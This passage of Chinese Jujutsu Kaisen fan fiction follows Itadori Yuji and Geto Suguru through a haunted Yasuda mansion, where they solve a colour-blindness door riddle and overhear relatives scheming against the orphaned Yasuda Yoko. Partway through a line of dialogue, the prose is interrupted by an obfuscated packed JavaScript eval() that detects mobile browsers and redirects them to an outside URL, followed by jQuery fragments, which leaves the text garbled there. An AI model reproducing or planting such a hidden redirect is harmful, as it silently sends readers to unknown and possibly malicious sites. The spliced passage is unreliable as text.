虎杖悠仁的疑问如水般涌了出来,在夏油杰拿他作为开门工具人前死死抓住门框,瞪大了眼试图理解现状。
“等等!什么叫谜题已经解开了?打开这扇门真的没问题?!”
要是像之前那样跳出来几只咒灵该怎么办!
“嗯嗯,没问题没问题。”夏油杰敷衍点头道:“多亏了虎杖君才能如此顺利找出正确的门。”
“我?”虎杖悠仁愣住,手也歇了力,被人抓准机会不轻不重按住背部,整个人撞开蓝门。
罡风顿起,直冲开门者面门,阴沉霉湿的气体钻入鼻腔带来一阵难以抗拒的痒意,但又不至于让人打上三两个喷嚏,故而虎杖悠仁维持一种相当尴尬的表情,张大嘴深呼吸几下才缓过。
始作俑者优哉游哉探出半个身体,确认不存在会给自己脆弱身体造成恶劣影响的因素后才马后炮似得走到虎杖悠仁身旁关心道:“感觉怎么样虎杖君?”
“额,没关系。”脑袋还晕乎乎的虎杖悠仁下意识回道,很快发现清瘦青年眼底的促狭的笑意,略有些无语问:“这种情况你也猜到了吗?”
夏油杰移开眼,语气却理直气壮:“未免高看我了,和能在安田宅和不知名生物进行自由搏击的虎杖君比起来,我一介无名小说家哪有预知的能力?”
话毕,沾有淡淡鞋印的和服袖口有意无意在虎杖眼前晃过。
绝不是他记仇。
说的好像也有道理,虎杖悠仁就这么茫然的接受了夏油杰的说辞,脑子里一点没回忆起开场被过肩摔的是谁。
夏油杰还以为要多辩论上几句才能维持‘’手无缚鸡之力的柔弱普通人’身份,却没料到虎杖悠仁比想的还要好忽悠几分,理所当然把他自己放在保护者的位子。
刚开始对他的警惕去哪了。夏油杰心情有些微妙,大概是平常接触了太多心怀鬼胎的人,一时遇上虎杖这种类型的,倒是显得他自己多疑。
“至于方才的谜题。”夏油杰敛下神色,提出了一个毫不相干的问题,“你知道安田阳太的个人画展吗?”
虎杖悠仁皱起眉回忆,半晌才勉强道:“那个颜色很奇怪的?”
黑色的草地、黄色花园、人物蓝色衣衫,宛如时间长河中被氧化的油画,覆上一层肃穆的滤镜,虽说对于普通人来说难以欣赏,却是自诩艺术家们的心头好,用自己的理解为安田阳太的画挂上传奇色彩使用者的称号。
夏油杰嗯了声点头:“看到标语的时候我就在想,门既没有检测DNA,也没有面容识别的功能,所谓只有安田家人能认出的门又依据什么判断。”
只有安田家之人能闻见的、触摸到的、听到的……
看见的。
正如安田阳子钟爱的那副全家福一样,一定有着外人无法欣赏之处,携带在基因里的事物,夏油杰应是在某篇推理小说中见到过。
“安田家有着红绿色盲这一遗传疾病,因此那些门对他们来说一开始就有了答案。”
无论红绿褐,在安田家人眼中都是同样的灰黑,因此蓝门便成了唯一的答案。
虎杖悠仁整个人都被问号占满了,他甚至无法理解夏油杰跳脱的思维,“应该还有其他可能吧,比如和诅、灵异有关的。”
夏油杰无语道:“安田家的是活人又不是鬼。”
好像也有道理,虎杖悠仁觉得自己和诅咒那群丑东西待太久了,什么都要扯上关系,压根没想过正常的推理路线。
眼看着虎杖情绪低落,夏油杰觉得好笑的同时不忘安慰:“如果虎杖君没有替我排除红门,我大概也想不起来这点。”
夏油杰环视一圈周围,与狭小密室般的初始格屋不同,视野可及处骤然扩大几倍,室内装潢也格外精细,出自名家之手的浮世绘铺满正对着的整面墙,天花板由柳条编织、横梁镂空雕刻,直至现在才有了世家之宅的感觉。
他们大约身处安田宅的寝殿正屋,由于多日未曾清扫,地面蒙上一层薄薄灰尘,除此以外并无异像。
虎杖好奇:“如果我没从红门里出来该怎么办?”
“也许永远也想不到那点,被困在这儿绝望的饿死?那就麻烦了,书还没写完。”青年笑着回答,平淡的像是谈论今日天气,无关自我,不及他人。
对一个浸透死亡的鬼魂来说还有什么比死亡更不值一提的事,尽管夏油杰一直潜心寻找解决身体危机的方法,但那不代表他求生意志强烈。
相对的,他也不是什么求死之人,无非游荡在二者之间,为自己寻些事做。
更何况夏油杰不觉得诅咒能杀死他。
这番风马牛不及之话让虎杖悠仁呆愣几秒,忽得无措,直觉告诉他不应该提这个话题,牙根处莫名酸涩,想说些什么舌头却打了结。
“你们是谁。”
清脆、稚嫩的声音,不出于虎杖悠仁之口,凭空在耳边乍响,夏油杰感觉有一只冰凉的手扯住了自己,错愕低下头,未被绷带遮住的橙黄色眸子定定望着夏油杰。
身高仅够到他腰的女孩光着脚,穿着也是最普通的衬衫、短裤,未被衣物遮盖的四肢裹满纱布,隐隐有血迹渗出。
虎杖吃惊于第三人的出现,第一反应半蹲下身仔细检查女孩的伤势,发现对方不自然扭曲的左臂时不自觉倒吸一口凉气,神色也多了几分严肃。
“伤的好重……”
除此以外皮肤上遍布擦伤、烧伤,就像是从严重灾祸现场侥幸捡回了一条命。夏油杰并没有松开那只手,稍稍握紧了些。
女孩略有些好奇打量着二人,转瞬间便掩饰好不经意流露出的稚嫩。
“是新来的佣人吗?”
在虎杖悠仁否认前,夏油杰打断他,将女孩身上有些松动的绷带系紧温声回答:“没错,您有什么事吩咐吗?”
女孩神色微动,低声道谢,还想说些什么就听到正屋外脚步声由远及近,夹杂恶意的窃窃私语,女孩唇抿成直线,“不需要,现在离开这里。”
“怎么可能把她一个人丢在这。”
夏油杰冲虎杖悠仁无声摇头,微微曲身行礼,和高贺管家如出一辙的姿态,让人找不出错处。
应女孩的意,夏油杰拉着数次回头看的虎杖悠仁往屋外走,??障子隔绝外界视线却隔绝不了内部细碎谈话声。
“阳子,对于弘之他们的逝去我们由衷的感到痛苦,幸好你平安无事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785237|174851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真是不幸中的万幸。”
厚重的、假意的,又分外耳熟的男声,夏油杰靠在障子边,迅速将男子的声音与安田阳子办公室呢喃的对上,那是在镜中,失真后失去理智之人的声音,也是呢喃着与现在截然相反宠爱的声音。
“没错,你的父亲怎么忍心留你一人在这,哎……”女声哽咽几秒便急不可耐地调转话题,“公司不能一日没人管理,理事会的人一直在催促我们接手,你应该能理解我们的吧。”
男声:“我们此次来正是想说这件事,虽然弘之才是安田家下任继承人,但现在的情况不得不由我接手,但你放心,名义上我会收养你作为我的孩子,你安田家独女的身份也不会改变。”
女声:“对对,我们正是这个打算,可管理会那几个老顽固说什么也不肯点头,这两天你就陪同宪司去露个面怎么样,反正安田集团总不能落在外人手里对吧?对了,还有阳太过几天会搬来主宅,你是女孩子就搬去配屋吧。”
男声:“既然归于我名下,你父亲的事之后就别在多提,好让他安心离开。”
嘈杂的牢骚化为实质的刺扎穿障子,夏油杰闭上眼,太阳穴因此闷痛。三人间的关系寥寥几句间便已明了,一如三流小说中最爱编排的篇章,暗潮涌动的庞大家族、突然逝去的父亲、如鬣狗般虎视眈眈的亲族。
以及孤立无援的安田阳子。
年轻人总抱有浓烈正义感,虎杖悠仁听完一切后,愤怒先理智一步涌出,定定望着夏油杰说:“我能进去给他们一拳吗?”
夏油杰意外地挑起眉,他也没意料到虎杖悠仁会征求自己的意见,就好像只要自己说不,他就会乖巧听从一样,没由来的信任。
但他明白这都是少年在寻求一个不让自己冲动的理由,潜藏于此的诅咒的影响愈发强大,挑动闯入者的神经,蛊惑他们插手安田宅中上演的话剧。
夏油杰猛拍虎杖悠仁的脑袋,用刻意压低的声音警醒:“清醒点,还记得我们要做的事吗?”
“……从这里出去。”
虎杖悠仁的眼神重归清明,像溺水者脱出般猛吸一口气,呆愣愣地抱住脑袋问:“刚刚有一瞬间我真的想冲进去揍一顿里面那两个人。”
“他们确实做的不是人事。”夏油杰笑了笑,少年却像发现什么稀有物种一样,视线来回在他身上打转。
夏油杰:“?”
虎杖悠仁托住下巴,五官线条深邃到让夏油杰有些哽住,“大叔,你居然一点反应都没有。”
夏油杰额角青筋绷起,刚刚还礼貌的称呼他为先生,这孩子未免有些过于自来熟。他皮笑肉不笑回道:“可能我经历这些事比较多吧。说些正经事,我可不想等下需要拼命拦住你对他们动手,你知道的,我们这些文艺工作者没那么大力气。”
虎杖悠仁顿时泄气了,不知怎的,他和夏油杰之间的关系突然掉了个位,从保护人和被保护者变成需要劳心烦神的人,兴许是年龄越大见识越多。
有着和安田宪司相同面容但年轻太多的男人打断聒噪的女人,舍弃了那些虚与蛇委,高傲的态度一览无余,他居高临下开口:“阳子,你应该知道自己没有别的选择吧。”